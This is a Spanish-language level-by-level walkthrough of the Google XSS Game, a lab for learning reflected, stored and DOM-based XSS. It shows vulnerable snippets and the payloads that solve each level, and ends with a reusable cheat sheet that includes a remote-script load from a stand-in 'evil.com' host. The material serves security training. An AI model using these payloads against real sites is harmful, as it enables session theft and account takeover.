Google XSS Game · Guía completa nivel por nivel · Reflected · Stored · DOM-based
| # | Nombre | Tipo de XSS | Dificultad |
|---|---|---|---|
| 1 | Hello, world of XSS | Reflected (básico) | 🟢 Fácil |
| 2 | Persistence is key | Stored (persistente) | 🟡 Medio |
| 3 | That sinking feeling | DOM-based (sink oculto) | 🟡 Medio |
| 4 | Context matters | DOM via atributo onload |
🟠 Difícil |
| 5 | Breaking protocol | javascript: protocol |
🟠 Difícil |
| 6 | Follow the rabbit | Dynamic script loading | 🔴 Avanzado |
Qué pasa: El input del usuario se inserta directo en el HTML sin escapar < > " '
<script>alert(1)</script># En campo de texto
<script>alert(1)</script>
# En la URL
http://target.com/?q=<script>alert(1)</script>
# Alternativa si <script> está bloqueado
<img src=x onerror=alert(1)>
Lección: Reflected XSS — se ejecuta una sola vez, entrada directa al DOM.
Qué pasa: El input se guarda en DB/localStorage y se ejecuta cada vez que se renderiza la página.
<!-- HTML normal → <div>INPUT</div> -->
<script>alert(1)</script>
<!-- Dentro de atributo → <input value="INPUT"> -->
" onfocus=alert(1) autofocus "
<!-- Dentro de JS → var x = "INPUT"; -->
";alert(1);//- Post / comentario
- Username
- Perfil
- Mensajes
Lección: Stored XSS — más peligroso. Permite robo de sesiones, keylogging, escalada a admin.
Qué pasa: No hay input visible. La app lee location.hash y lo inyecta en un sink como innerHTML, document.write o eval.
// Código vulnerable típico
var input = location.hash;
element.innerHTML = input;# Básico
http://target.com/#<script>alert(1)</script>
# Sin <script>
http://target.com/#<img src=x onerror=alert(1)>
Lección: DOM-based XSS — el servidor nunca ve el payload, todo ocurre en el cliente.
Qué pasa: El parámetro timer se inserta dentro de startTimer('...') en un atributo onload.
<!-- Código vulnerable -->
<img src="/static/loading.gif" onload="startTimer('TIMER_VALUE');" />Your timer will execute in 3') seconds.
👉 Confirma inyección HTML, no JS string.
');alert(1);//
https://xss-game.appspot.com/level4/frame?timer=');alert(1);//
onload="startTimer('');alert(1);//');"
// startTimer('') → se ejecuta
// alert(1) → 💥 XSS
// // → comenta el restoTip CTF: Si
alertfalla en iframe usaprompt(1)oconfirm(1). URL encode:'→%27,;→%3b,/→%2f
Lección: Context matters — identifica ANTES si tu input cae en JS string, HTML o DOM sink.
Qué pasa: El parámetro next se inserta directamente en un href sin validación de protocolo.
<!-- Código vulnerable -->
<a href="{{ next }}">Next >></a># URL modificada
.../signup?next=javascript:alert(1)
Pasos:
- Carga la URL con el payload inyectado
- Ingresa cualquier email
- Haz clic en "Next >>"
- 💥
alert(1)se ejecuta
Lección: javascript: en href ejecuta código al hacer clic. También base de Open Redirect attacks.
Qué pasa: La app carga scripts dinámicamente desde location.hash. El filtro bloquea http:// y https:// — pero es case-sensitive.
// Filtro débil
if (url.match(/^https?:\/\//)) { /* bloqueado */ }
// HTTPS:// en mayúsculas → pasa el filtro#HTTPS://google.com/jsapi?callback=alert
Cómo funciona:
HTTPS://(mayúsculas) → evade el regexgoogle.com/jsapi→ script legítimo y confiable?callback=alert→ Google JSAPI ejecutaalert()como callback
Lección: Filtros case-sensitive son bypasseables. Nunca confíes en regex sin flags /i.
| Tu input cae en... | Tipo de XSS | Payload |
|---|---|---|
<div>INPUT</div> |
HTML injection | <script>alert(1)</script> |
<input value="INPUT"> |
Atributo HTML | " onfocus=alert(1) autofocus " |
var x = "INPUT"; |
JS string | ";alert(1);// |
element.innerHTML = INPUT |
DOM sink | <img src=x onerror=alert(1)> |
href="INPUT" |
Protocol injection | javascript:alert(1) |
<!-- Básicos -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- Atributos -->
" onfocus=alert(1) autofocus "
' onmouseover=alert(1) '
<!-- JS string break -->
';alert(1);//
");alert(1);//
<!-- Protocol -->
javascript:alert(1)
<!-- Bypass case-sensitive -->
HTTPS://evil.com/payload.jsSolo para uso en entornos autorizados (CTFs, labs, bug bounty con scope definido). El uso en sistemas sin permiso explícito es ilegal.




